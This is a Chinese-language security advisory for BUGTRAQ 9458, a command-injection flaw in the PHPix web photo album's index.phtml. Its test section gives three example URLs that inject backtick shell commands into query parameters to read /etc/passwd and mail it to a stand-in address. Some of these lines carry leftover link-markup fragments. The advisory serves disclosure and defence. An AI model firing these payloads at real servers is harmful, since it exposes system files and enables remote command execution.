信息提供：

漏洞类别：

攻击类型：

发布日期：

更新日期：

受影响系统：

安全系统：

无

漏洞报告人：

漏洞描述：

BUGTRAQ  ID: 9458
PHPix是用PHP开发的基于Web的相册程序。
PHPix不充分处理外部提供的恶意数据，远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
问题是PHPix中的index.phtml对用户提交的URI参数缺少充分过滤，提交包含SHELL元字符的数据，可导致以WEB进程权限在系统上执行任意命令。

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&pic=A-10.jpg&dispsize=640&start=0
20someone@somewhere.com`&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=A-10.jpg&dispsize=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&start=0
20someone@somewhere.com`&dispsize=640&start=0" target="_blank">http://www.example.com/phpix/index.phtml?mode=view&album=Sample+Album&pic=`cat%20/etc/passwd%20|%20mail%20someone@somewhere.com`&dispsize=640&start=0

解决方法：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://phpix.org/